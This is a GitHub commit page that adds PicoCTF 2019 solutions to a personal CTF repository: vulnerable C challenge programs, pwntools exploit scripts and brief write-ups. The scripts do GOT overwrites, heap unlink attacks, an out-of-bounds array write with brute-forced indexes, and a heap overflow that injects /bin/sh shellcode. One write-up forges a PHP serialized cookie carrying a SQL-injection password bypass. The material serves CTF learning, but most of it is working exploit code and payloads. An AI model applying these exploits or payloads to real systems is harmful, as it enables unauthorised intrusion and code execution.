Skip to content

Commit 5679a09

Browse files
committed
[writeup] add picoctf 2019 (part)
1 parent 219d181 commit 5679a09

29 files changed

+1101
-2
lines changed

README.md

Lines changed: 13 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,14 @@
11
# hacking-lab
22
---
33

4-
# google ctf 2019
4+
# Google CTF 2019
55
- [jit](google-ctf-2019/jit/shellcode.py)
66
- [cryptoqkd](google-ctf-2019/cryptoqkd.web.ctfcompetition.com/post.py)
77
- [malvertising](google-ctf-2019/malvertising/writeup.md)
88
- [MicroServiceDaemonOS](google-ctf-2019/MicroServiceDaemonOS/shellcode.py)
99
- [dialtone](google-ctf-2019/dialtone/writeup.md)
1010

11-
# picoctf 2019
11+
# PicoCTF 2019
1212
- [c0rrypt](picoctf-2019/c0rrupt/writeup.md)
1313
- [CanaRy](picoctf-2019/CanaRy/shellcode.py)
1414
- [overflow-0](picoctf-2019/overflow-0/shellcode.py)
@@ -26,6 +26,17 @@
2626
- [the numbers](picoctf-2019/the_numbers/writeup.md)
2727
- [rop32](picoctf-2019/rop32/shellcode.py)
2828
- [slippery-shellcode](picoctf-2019/slippery-shellcode/writeup.md)
29+
- [messy-malloc](picoctf-2019/messy-malloc/writeup.md)
30+
- [leap-frog](picoctf-2019/leap-frog/writeup.md)
31+
- [stringzz](picoctf-2019/stringzz/writeup.md)
32+
- [GoT](picoctf-2019/GoT/writeup.md)
33+
- [pointy](picoctf-2019/pointy/writeup.md)
34+
- [rop64](picoctf-2019/rop64/shellcode.py)
35+
- [AfterLife](picoctf-2019/AfterLife/shellcode.py)
36+
- [L1im1tL335](picoctf-2019/L1im1tL335/writeup.md)
37+
- [SecondLife](picoctf-2019/SecondLife/shellcode.py)
38+
- [Heap Overflow](picoctf-2019/HeapOverflow/shellcode.py)
39+
- [Cereal Hacker 1](picoctf-2019/cereal-hacker1/writeup.md)
2940

3041
# Hacker101 CTF
3142
- [MicroCMS v2](hacker101-ctf/micro-cms-v2/writeup.md)

picoctf-2019/AfterLife/shellcode.py

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
import pwn
2+
3+
remote_binary = "/problems/afterlife_5_5cb2854d168d1e297b97921c0b4231f3/vuln"
4+
5+
def attack():
6+
pr = pwn.process([remote_binary,'A'])
7+
try:
8+
elf = pwn.ELF(remote_binary, False)
9+
payload = pwn.p32(elf.got["exit"] - 12)
10+
11+
"""
12+
Try to get addres of ``first`` pointer
13+
```
14+
Oops! a new developer copy pasted and printed an address as a decimal...
15+
153387016
16+
you will write on first after it was freed... an overflow will not be very useful...
17+
```
18+
"""
19+
pr.readline()
20+
first = int(pr.readline())
21+
22+
payload += pwn.p32(first + 8)
23+
payload += pwn.asm("push {};ret;".format(elf.sym["win"]))
24+
pr.writelineafter("an overflow will not be very useful...\n", payload)
25+
rsp = pr.readall(timeout=0.5)
26+
print(rsp)
27+
finally:
28+
pr.close()
29+
30+
attack()

picoctf-2019/AfterLife/vuln.c

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
#include <fcntl.h>
5+
#include <unistd.h>
6+
#define FLAG_BUFFER 200
7+
#define LINE_BUFFER_SIZE 20
8+
9+
void win() {
10+
char buf[FLAG_BUFFER];
11+
FILE *f = fopen("flag.txt","r");
12+
fgets(buf,FLAG_BUFFER,f);
13+
fprintf(stdout,"%s\n",buf);
14+
fflush(stdout);
15+
}
16+
17+
int main(int argc, char *argv[])
18+
{
19+
//This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord
20+
char *first, *second, *third, *fourth;
21+
char *fifth, *sixth, *seventh;
22+
first=malloc(256);
23+
printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
24+
printf("%d\n",first);
25+
strncpy(first,argv[1],LINE_BUFFER_SIZE);
26+
second=malloc(256);
27+
third=malloc(256);
28+
fourth=malloc(256);
29+
free(first);
30+
free(third);
31+
fifth=malloc(128);
32+
puts("you will write on first after it was freed... an overflow will not be very useful...");
33+
gets(first);
34+
seventh=malloc(256);
35+
exit(0);
36+
}
37+

picoctf-2019/GoT/shellcode.py

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
import os;os.environ['TMPDIR'] = os.path.join(os.environ['HOME'], 'tmp')
2+
import pwn
3+
4+
remote_binary = "/problems/got_5_c5119617c90aa544a639812dbc41e24e/vuln"
5+
6+
def segfault():
7+
try:
8+
pr = pwn.process(remote_binary)
9+
elf = pwn.ELF(remote_binary, False)
10+
print(elf.got)
11+
pr.sendlineafter("Input address\n", str(elf.got["exit"]))
12+
pr.sendlineafter("Input value?\n", str(elf.sym["win"]))
13+
rsp = pr.readall(timeout=0.5)
14+
print(rsp)
15+
finally:
16+
pr.close()
17+
18+
segfault()

picoctf-2019/GoT/vuln.c

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
5+
#define FLAG_BUFFER 128
6+
7+
void win() {
8+
char buf[FLAG_BUFFER];
9+
FILE *f = fopen("flag.txt","r");
10+
fgets(buf,FLAG_BUFFER,f);
11+
puts(buf);
12+
fflush(stdout);
13+
}
14+
15+
16+
int *pointer;
17+
18+
int main(int argc, char *argv[])
19+
{
20+
21+
puts("You can just overwrite an address, what can you do?\n");
22+
puts("Input address\n");
23+
scanf("%d",&pointer);
24+
puts("Input value?\n");
25+
scanf("%d",pointer);
26+
puts("The following line should print the flag\n");
27+
exit(0);
28+
}

picoctf-2019/GoT/writeup.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
The program allow user change value stored in address. We want to call the ``win`` function to print the flag. We can change an address in GOT table to address of ``win``, the selected one should be called later, lets' try change address of ``exit`` function to address of ``win``, when fake ``exit`` being called the flag is printed.
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
# Reference: https://www.win.tue.nl/~aeb/linux/hh/hh-11.html
2+
import os; os.environ["TMPDIR"] = os.path.join(os.environ['HOME'], 'tmp')
3+
import pwn
4+
5+
remote_binary = "/problems/heap-overflow_1_3f101d883699357e88af6bd1165695cd/vuln"
6+
7+
def attack():
8+
pr = pwn.process([remote_binary], cwd=os.path.dirname(remote_binary))
9+
try:
10+
elf = pwn.ELF(remote_binary, False)
11+
payload = pwn.p32(elf.got["exit"] - 12)
12+
13+
pr.readline()
14+
fullname = int(pr.readline())
15+
16+
# fullname
17+
shellcode = pwn.asm("jmp skip;" + "nop;"*100 + "{} skip: nop;".format(pwn.shellcraft.i386.linux.sh())).ljust(672-4)
18+
shellcode += pwn.p32(73).ljust(72)
19+
shellcode += pwn.p32(0x101)
20+
print(pwn.hexdump(shellcode))
21+
print("shellcode length:", len(shellcode))
22+
pr.writelineafter("Input fullname\n", shellcode)
23+
24+
# lastname
25+
payload = pwn.p32(0x101) # set size to 0
26+
payload += pwn.p32(elf.got["exit"]-12) + pwn.p32(fullname+8)
27+
payload = payload.ljust(256 - 4)
28+
payload = "A" * (256-4) + payload + pwn.p32(0x101) # set size to 0
29+
30+
print(pwn.hexdump(payload))
31+
print("payload length:", len(payload))
32+
pr.writelineafter("Input lastname\n", payload)
33+
pr.interactive()
34+
finally:
35+
pr.close()
36+
37+
attack()

picoctf-2019/HeapOverflow/vuln.c

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
5+
#define FLAGSIZE 128
6+
7+
void win() {
8+
char buf[FLAGSIZE];
9+
FILE *f = fopen("flag.txt","r");
10+
fgets(buf,FLAGSIZE,f);
11+
fprintf(stdout,"%s\n",buf);
12+
fflush(stdout);
13+
}
14+
15+
int main(int argc, char *argv[])
16+
{
17+
char *fullname, *name, *lastname;
18+
fullname = malloc(666);
19+
name = malloc(66);
20+
lastname = malloc(66);
21+
printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
22+
printf("%d\n",fullname);
23+
printf("Input fullname\n");
24+
gets(fullname);
25+
printf("Input lastname\n");
26+
gets(lastname);
27+
free(fullname);
28+
puts("That is all...\n");
29+
free(name);
30+
free(lastname);
31+
exit(0);
32+
}

picoctf-2019/L1im1tL335/shellcode.py

Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
import os; os.environ['TMPDIR'] = os.path.join(os.environ['HOME'], 'tmp')
2+
import pwn
3+
4+
remote_binary = "/problems/l1im1tl355_4_b2111fe5737c985221bac06a80d6d6c7/vuln"
5+
dst = "2019shell1.picoctf.com"
6+
7+
def attack():
8+
elf = pwn.ELF(remote_binary)
9+
for i in range(-512, 0, 1):
10+
pr = pwn.process(remote_binary, cwd=os.path.dirname(remote_binary))
11+
try:
12+
pr.writelineafter("Input the integer value you want to put in the array\n", str(elf.sym["win"]))
13+
pr.writelineafter("Input the index in which you want to put the value\n", str(i))
14+
rsp = pr.readall(timeout=0.5)
15+
if "pico" in rsp:
16+
print(rsp)
17+
break
18+
finally:
19+
pr.close()
20+
21+
attack()

picoctf-2019/L1im1tL335/vuln.c

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
5+
#define FLAG_BUFFER 128
6+
7+
void win() {
8+
char buf[FLAG_BUFFER];
9+
FILE *f = fopen("flag.txt","r");
10+
fgets(buf,FLAG_BUFFER,f);
11+
puts(buf);
12+
fflush(stdout);
13+
}
14+
15+
void replaceIntegerInArrayAtIndex(unsigned int *array, int index, int value) {
16+
array[index] = value;
17+
}
18+
19+
int main(int argc, char *argv[])
20+
{
21+
int index;
22+
int value;
23+
int array[666];
24+
puts("Input the integer value you want to put in the array\n");
25+
scanf("%d",&value);
26+
fgetc(stdin);
27+
puts("Input the index in which you want to put the value\n");
28+
scanf("%d",&index);
29+
replaceIntegerInArrayAtIndex(array,index,value);
30+
exit(0);
31+
}
32+

picoctf-2019/L1im1tL335/writeup.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
The program allows user to input integer value into specific position addressed by index. We can overwrite the function return address with address of``win``. To find out the address we needs try out some possible numbers.
2+
3+
So we input address of ``win`` for the first integer value, try out index in range ``[-512, 0]``.
4+
Finally ``-5`` brought the flag.

picoctf-2019/SecondLife/shellcode.py

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
import os; os.environ["TMPDIR"] = os.path.join(os.environ['HOME'], 'tmp')
2+
import pwn
3+
4+
remote_binary = "/problems/secondlife_6_c4811a8968ff26d298eda578d3b92255/vuln"
5+
6+
def attack():
7+
pr = pwn.process([remote_binary,'A'], cwd=os.path.dirname(remote_binary))
8+
try:
9+
elf = pwn.ELF(remote_binary, False)
10+
payload = pwn.p32(elf.got["exit"] - 12)
11+
12+
pr.readline()
13+
first = int(pr.readline())
14+
print("first:", first)
15+
16+
payload += pwn.p32(first + 8)
17+
payload += pwn.asm("push {};ret;".format(elf.sym["win"]))
18+
pr.writeline("A")
19+
pr.writelineafter("an overflow will not be very useful...\n", payload)
20+
rsp = pr.readall(timeout=0.5)
21+
print(rsp)
22+
finally:
23+
pr.close()
24+
25+
attack()

picoctf-2019/SecondLife/vuln.c

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
#include <fcntl.h>
5+
#include <unistd.h>
6+
#define FLAG_BUFFER 200
7+
#define LINE_BUFFER_SIZE 20
8+
9+
void win() {
10+
char buf[FLAG_BUFFER];
11+
FILE *f = fopen("flag.txt","r");
12+
fgets(buf,FLAG_BUFFER,f);
13+
fprintf(stdout,"%s\n",buf);
14+
fflush(stdout);
15+
}
16+
17+
int main(int argc, char *argv[])
18+
{
19+
//This is rather an artificial pieace of code taken from Secure Coding in c by Robert C. Seacord
20+
char *first, *second, *third, *fourth;
21+
char *fifth, *sixth, *seventh;
22+
first=malloc(256);
23+
printf("Oops! a new developer copy pasted and printed an address as a decimal...\n");
24+
printf("%d\n",first);
25+
fgets(first, LINE_BUFFER_SIZE, stdin);
26+
second=malloc(256);
27+
third=malloc(256);
28+
fourth=malloc(256);
29+
free(first);
30+
free(third);
31+
fifth=malloc(128);
32+
free(first);
33+
sixth=malloc(256);
34+
puts("You should enter the got and the shellcode address in some specific manner... an overflow will not be very useful...");
35+
gets(sixth);
36+
seventh=malloc(256);
37+
exit(0);
38+
}
39+
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
2+
Tried to login as ``guest:guest``, it redirect to ``/index.php?file=regular_user``. checkout application cookies, the value of ``user_info`` looks suspicious. it is a url-encoded base64 string.
3+
4+
5+
After decoding, we got a object description
6+
```
7+
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
8+
```
9+
10+
``O`` => Object
11+
``s`` => string attribute
12+
13+
Number indicates the length of the following value.
14+
15+
If we change ``guest`` to ``admin``, then we can visit as admin. we need SQL injection to bypass the password.
16+
17+
```
18+
pw = "password' or '1'='1"
19+
user_info = 'O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(len(pw))+':"'+pw+'";}'
20+
cookie = base64.b64encode(s.encode())
21+
```
22+
23+
Replace the value of ``user_info`` with the updated one, try to visit admin page ``/index.php?file=admin``, now we have the flag.

0 commit comments

Comments
 (0)